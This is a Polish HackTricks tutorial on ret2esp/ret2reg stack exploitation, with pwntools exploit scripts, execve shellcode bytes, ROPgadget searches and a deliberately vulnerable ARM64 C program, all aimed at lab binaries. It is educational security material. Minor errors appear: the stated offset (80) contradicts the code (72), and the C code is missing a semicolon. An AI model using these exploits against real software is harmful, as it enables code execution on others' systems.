Ret2esp / Ret2reg

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Ret2esp

Ponieważ ESP (Wskaźnik stosu) zawsze wskazuje na górę stosu, ta technika polega na zastąpieniu EIP (Wskaźnik instrukcji) adresem instrukcji jmp esp lub call esp. Dzięki temu, shellcode jest umieszczany bezpośrednio po nadpisanej wartości EIP. Gdy instrukcja ret jest wykonywana, ESP wskazuje na następny adres, dokładnie tam, gdzie przechowywany jest shellcode.

Jeśli Randomizacja Układu Przestrzeni Adresowej (ASLR) nie jest włączona w systemie Windows lub Linux, można użyć instrukcji jmp esp lub call esp znalezionych w bibliotekach współdzielonych. Jednakże, przy ASLR aktywnym, konieczne może być poszukiwanie tych instrukcji w samym programie podatnym (i możliwe, że trzeba będzie pokonać PIE).

Co więcej, umożliwienie umieszczenia shellcode po skorumpowaniu EIP, a nie w środku stosu, zapewnia, że żadne instrukcje push lub pop wykonane podczas działania funkcji nie będą ingerować w shellcode. Taka ingerencja mogłaby wystąpić, gdyby shellcode został umieszczony w środku stosu funkcji.

Brak miejsca

Jeśli brakuje Ci miejsca do zapisania po nadpisaniu RIP (może to być tylko kilka bajtów), napisz początkowy jmp shellcode jak:

sub rsp, 0x30
jmp rsp

I zapisz shellcode na początku stosu.

Przykład

Możesz znaleźć przykład tej techniki w https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp z końcowym exploit'em jak:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

jmp_rsp = next(elf.search(asm('jmp rsp')))

payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
''')

pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()

Możesz zobaczyć kolejny przykład tej techniki w https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html. Istnieje tu przepełnienie buforu bez włączonego NX, używany jest gadżet do zmniejszenia adresu $esp a następnie jmp esp; aby przeskoczyć do kodu powłoki:

# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *

# Establish the target process
target = process('./b0verflow')
#gdb.attach(target, gdbscript = 'b *0x080485a0')

# The shellcode we will use
# I did not write this, it is from: http://shell-storm.org/shellcode/files/shellcode-827.php
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

# Establish our rop gadgets

# 0x08048504 : jmp esp
jmpEsp = p32(0x08048504)

# 0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
pivot = p32(0x80484fd)

# Make the payload

payload = ""
payload += jmpEsp # Our jmp esp gadget
payload += shellcode # Our shellcode
payload += "1"*(0x20 - len(shellcode)) # Filler between end of shellcode and saved return address
payload += pivot # Our pivot gadget

# Send our payload
target.sendline(payload)

# Drop to an interactive shell
target.interactive()

Ret2reg

Podobnie, jeśli znamy funkcję zwracającą adres, w którym przechowywany jest kod powłoki, możemy wykorzystać instrukcje call eax lub jmp eax (znane jako technika ret2eax), oferującą inną metodę wykonania naszego kodu powłoki. Podobnie jak eax, dowolny inny rejestr zawierający interesujący adres mógłby być użyty (ret2reg).

Przykład

Możesz znaleźć kilka przykładów tutaj:

ARM64

Ret2sp

W ARM64 nie ma instrukcji pozwalających na skok do rejestru SP. Możliwe byłoby znalezienie gadżetu, który przenosi sp do rejestru, a następnie skacze do tego rejestru, ale w bibliotece libc mojego kali nie udało mi się znaleźć takiego gadżetu:

for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done

Jedynymi, które odkryłem, zmieniłyby wartość rejestru, do którego został skopiowany sp przed skokiem do niego (co sprawiłoby, że stałby się bezużyteczny):

Ret2reg

Jeśli rejestr ma interesujący adres, można do niego skoczyć, znajdując odpowiednią instrukcję. Możesz użyć czegoś w rodzaju:

ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";

W ARM64 to x0 przechowuje wartość zwróconą przez funkcję, więc może się zdarzyć, że x0 przechowuje adres bufora kontrolowanego przez użytkownika z shellcodem do wykonania.

Przykładowy kod:

// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack

#include <stdio.h>
#include <string.h>

void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("br x0");
return;
}

char* vulnerable_function() {
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
}

int main(int argc, char **argv) {
char* b = vulnerable_function();
do_stuff(2)
return 0;
}

Sprawdzając rozkład funkcji, można zauważyć, że adres bufora (podatnego na przepełnienie buforu i kontrolowanego przez użytkownika) jest przechowywany w x0 przed powrotem z przepełnienia buforu:

Można również znaleźć gadżet br x0 w funkcji do_stuff:

Wykorzystamy ten gadżet, aby do niego przeskoczyć, ponieważ binarny plik jest skompilowany BEZ PIE. Korzystając z wzorca, można zauważyć, że przesunięcie przepełnienia buforu wynosi 80, więc exploit będzie:

from pwn import *

p = process('./ret2x0')
elf = context.binary = ELF('./ret2x0')

stack_offset = 72
shellcode = asm(shellcraft.sh())
br_x0 = p64(0x4006a0) # Addr of: br x0;
payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0

p.sendline(payload)
p.interactive()

Jeśli zamiast fgets zostało użyte coś w stylu read, byłoby możliwe obejście PIE również przez nadpisanie tylko ostatnich 2 bajtów adresu powrotu aby powrócić do instrukcji br x0; bez konieczności znajomości pełnego adresu. Z fgets to nie działa, ponieważ dodaje bajt null (0x00) na końcu.

Protections

  • NX: Jeśli stos nie jest wykonawczy, to nie pomoże, ponieważ musimy umieścić shellcode na stosie i skoczyć, aby go wykonać.

  • ASLR & PIE: Mogą sprawić, że będzie trudniej znaleźć instrukcję do skoku do esp lub dowolnego innego rejestru.

References

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated